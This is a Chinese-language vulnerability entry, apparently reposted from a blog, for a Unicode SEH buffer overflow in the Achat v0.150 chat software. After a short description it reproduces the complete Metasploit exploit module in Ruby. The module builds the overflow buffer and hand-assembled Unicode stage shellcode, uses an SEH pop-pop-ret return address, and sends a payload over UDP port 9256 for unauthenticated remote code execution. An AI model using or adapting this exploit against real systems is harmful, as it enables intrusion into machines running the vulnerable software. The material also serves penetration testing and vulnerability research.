Achat Unicode SEH Buffer Overflow

漏洞信息

漏洞名称： Achat Unicode SEH Buffer Overflow

漏洞类型： 缓冲区溢出

漏洞等级： 高危

漏洞描述： Achat是一款即时通讯软件，支持多平台使用，包括Windows XP SP3和Windows 7。该软件在默认端口9256/UDP上监听消息，由于存在Unicode SEH缓冲区溢出漏洞，攻击者可以通过发送特制的消息来覆盖SEH处理程序。这种漏洞的利用依赖于时机，因为有两个线程在同一时间溢出堆栈。此漏洞已被测试在Achat v0.150版本上有效，运行在Windows XP SP3和Windows 7系统上。漏洞的技术根源在于软件在处理输入时未能正确验证消息长度，导致缓冲区溢出。攻击者可以利用此漏洞执行任意代码，从而可能导致远程代码执行、服务中断等严重后果。由于漏洞利用不需要认证，且可以自动化执行，因此对受影响系统的安全构成了严重威胁。

产品名称： Achat

影响版本： v0.150

来源： https://github.com/rapid7/metasploit-framework/blob/333b5278ac255df2bb9206cbd4e76f8f0631ea43/modules%2Fexploits%2Fwindows%2Fmisc%2Fachat_bof.rb

类型： rapid7/metasploit-framework:github commit

POC详情

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Achat Unicode SEH Buffer Overflow',
        'Description' => %q{
          This module exploits a Unicode SEH buffer overflow in Achat. By
          sending a crafted message to the default port 9256/UDP, it's possible to overwrite the
          SEH handler. Even when the exploit is reliable, it depends on timing since there are
          two threads overflowing the stack in the same time. This module has been tested on
          Achat v0.150 running on Windows XP SP3 and Windows 7.
        },
        'Author' => [
          'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery
          'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module
        ],
        'License'	=> MSF_LICENSE,
        'References' => [
          ['CWE', '121'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1200,
          'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
          'StackAdjustment' => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'EncoderOptions' =>
                        {
                          'BufferRegister' => 'EAX'
                        }
        },
        'Platform' => 'win',
        'Targets' => [
          # Tested OK Windows XP SP3, Windows 7
          # Not working on Windows Server 2003
          [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] # ppr from AChat.exe
        ],
        'Privileged' => false,
        'DefaultTarget' => 0,
        'DisclosureDate' => '2014-12-18',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(9256)
      ]
    )
  end

  def exploit
    connect_udp

    # 0055 00          ADD BYTE PTR SS:[EBP],DL # padding
    # 2A00             SUB AL,BYTE PTR DS:[EAX] # padding
    # 55               PUSH EBP                 # ebp holds a close pointer to the payload
    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
    # 58               POP EAX                  # mov eax, ebp
    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
    # 05 00140011      ADD EAX,11001400         # adjusting eax
    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
    # 2D 00130011      SUB EAX,11001300         # lea eax, eax+100
    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
    # 50               PUSH EAX                 # eax points to the start of the shellcode
    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
    # 58               POP EAX                  # padding
    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
    # 59               POP ECX                  # padding
    # 0039             ADD BYTE PTR DS:[ECX],BH # padding
    first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"

    sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"
    sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)
    sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset
    sploit << "\x61\x40" # POPAD + INC EAX

    sploit << target.ret # AChat.exe p/p/r address

    # adjusting the first thread's unicode payload, tricky asm-fu
    # the first seh exception jumps here, first_stage variable will be executed
    # by the second seh exception as well. It needs to be in sync with the second
    # thread, so that is why we adjust eax/ebp to have a close pointer to the
    # payload, then first_stage variable will take the rest of the job.
    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
    # 55               PUSH EBP                 # ebp with close pointer to payload
    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
    # 58               POP EAX                  # put ebp to eax
    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
    # 2A00             SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place
    # 2A00             SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more
    # 05 00140011      ADD EAX,11001400         # more adjusting
    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
    # 2D 00130011      SUB EAX,11001300         # lea eax, eax+100
    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
    # 50               PUSH EAX			# saving eax
    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
    # 5D               POP EBP			# mov ebp, eax
    sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"
    sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
    sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 - 3) # put address of the payload to EAX
    sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload
    sploit << "\x00" + 'A' * 10 + "\x00"

    i = 0
    while i < sploit.length do
      if i > 172000
        Rex::sleep(1.0)
      end
      sent = udp_sock.put(sploit[i..i + 8192 - 1])
      i += sent
    end
    disconnect_udp
  end
end


Github Poc
#缓冲区溢出 #rapid7/metasploit-framework:github commit
Achat Unicode SEH Buffer Overflow
http://example.com/2025/07/31/github_2772186816/
作者
lianccc
发布于
2025年7月31日
许可协议